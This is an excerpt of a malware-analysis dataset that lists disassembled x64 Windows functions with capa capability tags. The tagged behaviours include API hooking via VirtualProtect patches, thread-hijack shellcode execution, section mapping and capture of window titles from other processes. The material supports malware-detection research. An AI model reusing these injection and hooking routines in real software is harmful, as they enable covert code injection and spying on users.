joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001841c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [rsp + 0x48]
call fcn.180017a88
mov ebx, eax
test eax, eax
jne 0x180018521
and dword [rsp + 0x40], eax
mov rax, qword [rsi + 0x10]
mov rdi, qword [rsp + 0x48]
mov ebx, 8
mov qword [rdi + 0x28], rax
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x40]
lea r8d, [rbx + 0x38]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180018503
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, qword [rax]
mov qword [rdi + 0x10], rcx
mov rax, qword [rsi + 8]
mov qword [rdi + 0x18], rax
mov rax, qword [rsi + 8]
mov rcx, qword [rax]
mov qword [rdi + 0x20], rcx
mov rcx, qword [rsi + 8]
mov rax, qword [rdi + 0x28]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x101
lea rcx, [0x180059bc0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180059bb0]
lea rax, [0x180059bb0]
mov qword [rdi], r11
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
lea rcx, [0x180059bc0]
mov qword [0x180059bb0], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
xor ebx, ebx
mov qword [rsi + 0x20], r11
jmp 0x180018521
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
je 0x180018521
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180018534
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov rbx, rcx
xor edi, edi
and dword [rax + 0x10], edi
movzx r12d, byte [rcx + 0x38]
mov eax, r12d
sub eax, 1
je 0x1800185ba
sub eax, 1
je 0x180018571
cmp eax, 6
jne 0x18001867d
jmp 0x180018616
mov rsi, qword [rcx + 0x28]
mov eax, 0x25ff
cmp word [rsi], ax
jne 0x1800185ba
lea r9, [rsp + 0x38]
mov edx, 0xe
lea r8d, [rdx + 0x32]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800185ba
mov rax, qword [rbx + 0x10]
mov qword [rsi + 6], rax
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov edx, 0xe
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x38]
mov esi, 8
lea r8d, [rsi + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18001860e
cmp r12d, 1
jne 0x1800185ec
mov rcx, qword [rbx + 0x18]
mov rax, qword [rbx + 0x20]
mov qword [rcx], rax
jmp 0x1800185f5
mov rcx, qword [rbx + 0x18]
mov eax, dword [rbx + 0x20]
mov dword [rcx], eax
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x180018616
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
bt dword [rbx + 0x38], 9
jae 0x180018678
cmp qword [rbx + 0x40], 0
je 0x180018678
mov rcx, qword [rbx + 0x30]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180018678
mov rdx, qword [rbx + 0x30]
mov rdx, qword [rdx + 8]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
btr dword [rbx + 0x38], 8
jmp 0x180018681
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x1800188b0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180059b60]
lea rbp, [0x180059b60]
jmp 0x18001895e
mov rsi, rbx
mov rbx, qword [rbx]
mov rax, qword [rsi + 8]
mov rcx, qword [rsi]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rdi, qword [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x180018922
lea rcx, [0x18005d86e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18005dfff]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001894c
mov rcx, rdi
call rax
jmp 0x18001894c
cmp qword [0x180059500], 0
je 0x18001894c
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
mov r8, rdi
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180059270]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp rbx, rbp
jne 0x1800188d7
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180018cbc
Capabilities:
Enumerate pe sections
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rdi, rdx
lea rdx, [rax - 0x10]
xor r8d, r8d
mov rbp, rcx
xor ebx, ebx
call fcn.180019610
cmp eax, ebx
jne 0x180018e01
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call fcn.18001a718
mov r11, rax
cmp rax, rbx
je 0x180018ded
movsxd r9, dword [rbp + 0x3c]
sub r11d, ebp
add r9, rbp
movzx ecx, word [r9 + 0x14]
movzx r10d, word [r9 + 6]
lea r8, [rcx + r9 + 0x18]
cmp r11d, dword [r8 + 0xc]
jb 0x180018d44
mov ecx, dword [r9 + 0x3c]
mov eax, dword [r8 + 0x10]
lea edx, [rax + rcx - 1]
lea eax, [rcx - 1]
not eax
and edx, eax
add edx, dword [r8 + 0xc]
cmp r11d, edx
jb 0x180018d59
mov eax, 0xffff
add r8, 0x28
add r10w, ax
je 0x180018ded
jmp 0x180018d22
mov edi, dword [r8 + 0x14]
sub edi, dword [r8 + 0xc]
add edi, r11d
je 0x180018ded
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180018ded
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, edi
jne 0x180018de4
lea r9, [rsp + 0x78]
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x180018de4
cmp dword [rsp + 0x78], 4
jne 0x180018de4
mov ebx, dword [rsp + 0x40]
add rbx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x18001951c
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
mov rcx, qword [0x180059270]
mov r14, qword [0x180059438]
and dword [rsp + 0x68], 0
mov r12, r8
mov r13, rdx
mov esi, 0x1000
mov r8, rsi
xor edx, edx
mov edi, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1800195f5
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rbx
mov rcx, r14
call sub.PSAPI.DLL_EnumProcessModules
mov ebp, eax
test eax, eax
je 0x1800195bf
mov eax, dword [rsp + 0x68]
cmp esi, eax
ja 0x1800195c3
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180059270]
add esi, 0x1000
mov r8d, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x18001956c
mov eax, dword [rsp + 0x68]
test rbx, rbx
je 0x1800195f5
test ebp, ebp
je 0x1800195db
shr eax, 3
mov qword [r13], rbx
xor edi, edi
mov dword [r12], eax
jmp 0x1800195f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov eax, edi
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x180019710
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r14, rdx
xor r15d, r15d
xor edx, edx
mov rsi, r9
mov r13d, r8d
mov r12, rcx
mov rbx, r15
mov edi, 8
call fcn.18001a128
mov rbp, rax
cmp rax, r15
je 0x1800197e0
cmp rsi, r15
je 0x18001976d
xor edx, edx
mov rcx, rsi
call fcn.18001a128
mov rbx, rax
cmp rax, r15
je 0x1800197ce
mov r9d, 1
mov r8d, r13d
mov rdx, r14
mov rcx, r12
call fcn.1800171f0
mov edi, eax
cmp eax, r15d
jne 0x1800197b7
mov ecx, dword [rsp + 0x80]
lea rdx, [0x18005d640]
mov r9, rbx
mov dword [rsp + 0x28], ecx
xor ecx, ecx
mov r8, rbp
mov qword [rsp + 0x20], r15
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdi, rax
cmp eax, 0x20
cmovg edi, r15d
cmp rbx, r15
je 0x1800197ce
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180059270]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov eax, edi
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180019ca8
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rdx
mov r12d, r8d
mov rdi, rcx
xor ebx, ebx
xor edx, edx
mov rcx, rbp
lea r8d, [rbx + 0x10]
call sub.ntdll.dll_memset
lea r11d, [rbx + 2]
mov rcx, rdi
mov word [rbp], r11w
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180059270]
lea r13d, [rbx + 1]
xor edx, edx
lea r8d, [r13 + rax]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, rbx
je 0x180019d98
mov rdx, rdi
mov rcx, rax
call sub.ntdll.dll_strcpy
lea edx, [rbx + 0x3a]
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrChrA]
mov rdi, rax
cmp rax, rbx
jne 0x180019d38
cmp r12d, ebx
je 0x180019d57
mov rdi, rsi
jmp 0x180019d3d
mov byte [rax], bl
add rdi, r13
cmp rdi, rbx
je 0x180019d57
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 2], ax
cmp rdi, rsi
je 0x180019d7b
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_gethostbyname]
cmp rax, rbx
je 0x180019d86
mov rax, qword [rax + 0x18]
mov ebx, r13d
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 4], eax
jmp 0x180019d86
cmp word [rbp + 2], bx
mov dword [rbp + 4], ebx
cmovne ebx, r13d
mov rcx, qword [0x180059270]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x18001a304
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x10], 0
and dword [rax - 0x18], 0
mov rbp, r8
lea r8, [rax - 0x10]
mov rcx, 0xffffffff80000001
mov rsi, r9
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebx, eax
test eax, eax
jne 0x18001a3f0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x34]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
xor r8d, r8d
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18001a3e5
mov rcx, qword [0x180059270]
mov r8, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18001a3e0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x34]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbp
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
test eax, eax
jne 0x18001a3cc
mov rcx, qword [rsp + 0x70]
mov qword [rsi], rdi
test rcx, rcx
je 0x18001a3e5
mov eax, dword [rsp + 0x30]
mov dword [rcx], eax
jmp 0x18001a3e5
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18001a3e5
mov ebx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x18001a718
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x28
movsxd r10, dword [rcx + 0x3c]
mov r14, rcx
xor r15d, r15d
lea rax, [r10 + rcx + 0x78]
mov r8d, 0x14c
lea rcx, [r10 + rcx + 0x88]
cmp word [r10 + r14 + 4], r8w
cmove rcx, rax
mov eax, dword [rcx]
lea rdi, [r14 + rax]
test eax, eax
je 0x18001a859
cmp dword [rcx + 4], r15d
je 0x18001a859
cmp dword [rdi + 0x1c], r15d
je 0x18001a859
mov r13d, dword [rdi + 0x14]
test r13d, r13d
je 0x18001a859
mov r12d, dword [rdi + 0x1c]
mov rbx, rdx
add r12, r14
test rdx, rdx
je 0x18001a7a5
cmp rdx, 0xffff
jbe 0x18001a7ab
mov r13d, dword [rdi + 0x18]
xor ebx, ebx
cmp dword [rdi + 0x24], r15d
je 0x18001a84f
mov ebp, dword [rdi + 0x24]
mov esi, dword [rdi + 0x20]
and dword [rsp + 0x70], r15d
add rbp, r14
add rsi, r14
test r13d, r13d
je 0x18001a859
test rbx, rbx
je 0x18001a802
mov ecx, dword [rdi + 0x10]
movzx eax, word [rbp]
add rcx, rax
cmp rbx, rcx
jne 0x18001a836
movzx eax, word [rbp]
mov rcx, qword [rsp + 0x88]
lea r15, [r12 + rax*4]
test rcx, rcx
je 0x18001a859
mov eax, dword [rsi]
add rax, r14
mov qword [rcx], rax
jmp 0x18001a859
mov ecx, dword [rsi]
add rcx, r14
test rdx, rdx
je 0x18001a816
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x18001a82f
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [rsi]
add rcx, r14
mov edx, eax
call fcn.180044c10
cmp dword [rsp + 0x80], eax
je 0x18001a7e3
mov rdx, qword [rsp + 0x78]
mov eax, dword [rsp + 0x70]
add rsi, 4
add rbp, 2
inc eax
mov dword [rsp + 0x70], eax
cmp eax, r13d
jae 0x18001a859
jmp 0x18001a7cf
test rbx, rbx
je 0x18001a859
lea r15, [r12 + rbx*4 - 4]
mov rax, r15
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18001b320
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
lea rcx, [0x18005d86e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
movzx ecx, word [rdx + 0x14]
lea r8, [rcx + rdx + 0x18]
movzx ecx, word [rdx + 6]
test ecx, ecx
je 0x18001b365
bt dword [r8 + 0x24], 0x1f
jb 0x18001b368
add r8, 0x28
add ecx, 0xffffffff
jne 0x18001b354
xor r8d, r8d
xor edi, edi
test r8, r8
je 0x18001b430
mov ebx, dword [r8 + 0xc]
xor ecx, ecx
add rbx, rax
mov eax, dword [r8 + 8]
mov dword [rsp + 0x50], ecx
lea rsi, [rax + rbx - 0x10]
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
lea rax, [0x18001b318]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x20], rax
cmp rbx, rsi
ja 0x18001b430
mov rax, qword [rbx]
cmp rax, rbx
jne 0x18001b428
cmp rax, qword [rbx + 8]
jne 0x18001b428
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
lea rcx, [rsp + 0x20]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x20]
lea rcx, [0x18005db6a]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x18001b40d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov ecx, dword [rsp + 0x50]
test ecx, ecx
cmovne rdi, rbx
add rbx, 0x10
test ecx, ecx
je 0x18001b3c4
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rdi
add rsp, 0x40
pop rdi
ret

Function at 0x18001b444
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x18001b4a5
lea rcx, [0x18005d86e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18005dfe4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001b513
lea rdx, [0x180018864]
mov r9, rdi
mov r8, rsi
xor ecx, ecx
call rax
test eax, eax
jne 0x18001b513
jmp 0x18001b50a
cmp qword [0x180059500], 0
jne 0x18001b4c0
call fcn.18001b320
mov qword [0x180059500], rax
test rax, rax
je 0x18001b513
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x18001b50e
mov rdx, qword [0x180059500]
mov qword [rax + 8], rax
mov qword [rax], rax
mov qword [rax + 0x18], rsi
lea rcx, [0x180018864]
mov qword [rax + 0x10], rcx
mov qword [rdi], rax
mov rcx, qword [rdx + 8]
mov qword [rax + 8], rcx
mov qword [rax], rdx
mov qword [rcx], rax
mov qword [rdx + 8], rax
xor ebx, ebx
jmp 0x18001b513
mov ebx, 8
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001bdf4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r14, rcx
mov r13d, r8d
mov rsi, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rbp, qword [rsi]
xor ecx, ecx
mov rdx, rbp
mov dword [rsp + 0x558], 0xccccfeeb
call fcn.180018c14
xor r12d, r12d
mov dword [rsp + 0x70], 0x10000b
test eax, eax
lea ecx, [r12 + 0x10]
cmovne r12d, ecx
test rdi, rdi
jne 0x18001be70
mov rcx, qword [rsi]
mov edx, r12d
call fcn.18001b5a8
mov rdi, rax
mov rax, qword [0x180057c30]
mov r15d, 4
test rax, rax
je 0x18001bfae
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x568]
mov r9d, r15d
mov qword [rsp + 0x20], rcx
mov rcx, rbp
mov rdx, rdi
call rax
test eax, eax
js 0x18001bfae
cmp qword [rsp + 0x30], r15
jne 0x18001bfae
lea rax, [rsp + 0x560]
lea r9d, [r15 + 0x3c]
mov r8, r15
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001bef7
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x558]
mov rdx, rdi
mov rcx, rbp
call fcn.18001b528
jmp 0x18001bef9
xor eax, eax
test eax, eax
je 0x18001bfae
mov ebx, 0x1388
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x180057c20]
sub ebx, 0x64
test rax, rax
je 0x18001bf47
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x18001bf55
cmp qword [rsp + 0x138], rdi
jne 0x18001bf06
xor r9d, r9d
mov r8d, r12d
mov rdx, r14
mov rcx, rsi
call fcn.18001b7c0
mov r9d, 0x40
mov r8, r15
mov ebx, eax
lea rax, [rsp + 0x560]
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001bfa9
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rbp
call fcn.18001b528
cmp ebx, 0xffffffff
jne 0x18001bfb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r15b, r13b
jne 0x18001bfc5
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x18001c960
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
xor eax, eax
mov dword [r11 - 0x28], r9d
mov dword [r11 + 0x24], eax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x18], r9
mov dword [r11 + 0x20], r9d
mov qword [r11 - 0x48], r9
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add rsp, 0x68
ret
Function at 0x18001cb4c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
mov esi, 8
mov rbp, rcx
lea edx, [rsi + 0x14]
call fcn.180044c10
mov rcx, qword [0x180059550]
lea r8, [rsp + 0x58]
mov edx, eax
call fcn.18001e394
neg eax
sbb rbx, rbx
xor r14d, r14d
and rbx, qword [rsp + 0x58]
cmp rbx, r14
je 0x18001cd2c
mov r13d, dword [rbx + 0x4a18]
cmp r13d, r14d
jne 0x18001cc74
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, r14
je 0x18001cbe1
lea r8, [rbx + 0x10]
xor edx, edx
mov r9d, 0x104
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbx + 0x4a1c], 1
cmp qword [0x180059558], r14
je 0x18001cc54
lea rcx, [rbx + 0x10]
mov r8d, 0x5c
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
mov r12, rax
cmp rax, r14
je 0x18001cc54
lea rcx, [rax + 2]
mov edx, 0x2e
call qword [sym.imp.SHLWAPI.dll_StrChrW]
mov rdi, rax
cmp rax, r14
je 0x18001cc29
mov word [rax], r14w
mov rcx, qword [0x180059558]
lea rdx, [r12 + 2]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
cmp rax, r14
jne 0x18001cc47
mov dword [rbx + 0x4a1c], r14d
cmp rdi, r14
je 0x18001cc54
mov eax, 0x2e
mov word [rdi], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rcx, qword [rbp + 0x10]
lea rdx, [rbx + 0x218]
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rbx + 0x4a18], 1
cmp dword [rbx + 0x4a1c], r14d
je 0x18001cd15
movzx ecx, word [rbp + 0x20]
cmp cx, r14w
je 0x18001ccc0
mov eax, dword [rbx + 8]
cmp eax, 0x2000
jae 0x18001ccc0
cmp cx, si
jne 0x18001ccb0
cmp eax, r14d
je 0x18001ccbb
dec eax
mov dword [rbx + 8], eax
jmp 0x18001ccbb
mov word [rbx + rax*2 + 0xa18], cx
inc dword [rbx + 8]
mov esi, r14d
jmp 0x18001ccc5
mov esi, 0x6f
cmp qword [rbp + 0x22], r14
je 0x18001cd15
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
cmp rax, r14
je 0x18001cd15
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r11, qword [rbp + 0x22]
lea rdx, [rbx + 0x4a20]
mov qword [rdi + 0x18], r11
mov qword [rbp + 0x22], r14
mov rcx, qword [rdx + 8]
mov qword [rdi + 8], rcx
mov qword [rdi], rdx
mov qword [rcx], rdi
mov qword [rdx + 8], rdi
cmp r13d, r14d
je 0x18001cd2c
mov rcx, qword [0x180059550]
lea r8, [rbx - 0x34]
xor edx, edx
call fcn.18001e51c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov eax, esi
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret